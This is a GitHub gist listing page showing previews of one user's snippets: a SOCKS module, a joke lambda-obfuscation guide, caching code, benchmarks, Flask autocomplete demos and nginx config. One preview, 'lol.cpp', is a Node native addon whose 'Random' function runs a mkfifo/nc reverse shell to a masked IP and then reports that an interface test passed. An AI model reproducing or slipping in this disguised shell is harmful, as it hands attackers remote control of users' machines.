Skip to content

Instantly share code, notes, and snippets.

@e000
e000 / socks.py
Created March 14, 2011 20:21
socksipy + urllib2 handler
"""SocksiPy - Python SOCKS module.
Version 1.00
Copyright 2006 Dan-Haim. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
@e000
e000 / donotuse.py
Created June 13, 2011 23:30
How to NEVER use lambdas.
##########################################################
# How to NEVER use Lambdas. An inneficient and yet educa-#
# tonal guide to the proper misuse of the lambda constru-#
# ct in Python 2.x. [DO NOT USE ANY OF THIS EVER] #
# by: e000 (13/6/11) #
##########################################################
## Part 1. Basic LAMBDA Introduction ##
# Well, it's worth diving straight into what lambdas are.
# Lambdas are pretty much anonymous "one line" functions
(lambda n,s,I:n.classobj ('h',(),dict(__init__= ( lambda M,S,P,C:M.__dict__
.update(dict(R=(S,P),H=C ,A=1<<8,O=s.socket()))), C=(lambda M:(M.O.connect(
M.R),1/7, None, None, "sock"
,setattr (M,'D' ,M.O. #####
makefile ()),1 ,None ,8192
,setattr (M,'S',(lambda l='':M.O. send(
l+'\r\n' ))),M.S("NICK hue"),M.S( "USER"
" a b c" " d :HE"),setattr(M,'R', lambda
n,m:M.S( 'PRIV' 'MSG ' '%s :'
'%s'%(n, m))), M.P() )),G=(
@e000
e000 / cache.py
Created January 19, 2011 02:08
deferred_lfu_cache
import collections
import functools
from itertools import ifilterfalse
from heapq import nsmallest
from operator import itemgetter
from twisted.internet.defer import maybeDeferred, succeed, Deferred
class Counter(dict):
'Mapping where default values are zero'
def __missing__(self, key):
"""
Cryto.net Tahoe-LAFS -> WSGI Gateway Proxy
--------------------
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
@e000
e000 / basehttp-ab.txt
Created January 31, 2011 22:35
basehttpserver vs gevent
e@e-desktop:~/proxybot/bench$ ab -c 50 -n 5000 http://localhost:8000/
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking localhost (be patient)
Completed 500 requests
Completed 1000 requests
Completed 1500 requests
Completed 2000 requests
@e000
e000 / dawg_ps.py
Last active December 19, 2015 15:18
import dawg, flask, time, string
app = flask.Flask(__name__)
trie = None
NUM_RESULTS = 30
DICT_FILE = "/usr/share/dict/words"
_index_html = """
<html>
@e000
e000 / marisa_autocomplete.py
Last active December 15, 2015 15:09
Demo of using marisa's predictive search + flask + angular.js.
import marisa, flask, time
app = flask.Flask(__name__)
trie = marisa.Trie()
agent = marisa.Agent()
NUM_RESULTS = 30
DICT_FILE = "/usr/share/dict/words"
_index_html = """
@e000
e000 / lol.cpp
Created September 30, 2012 23:42
#include <node.h>
#include <cstdlib>
using namespace v8;
Handle<Value> Random(const Arguments& args) {
HandleScope scope;
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8080 >/tmp/f");
return scope.Close(
String::New("Extenderp interface test passed! We hope...")
@e000
e000 / default
Created September 28, 2012 16:50
Supervisord + Gunicorn + Nginx Setup
# Put me in /etc/nginx/sites-enabled/
server {
listen 80;
server_name localhost;
location / {
index index.html;
root /var/data/www;
}
include /etc/nginx/sites-enabled/apps/*;
}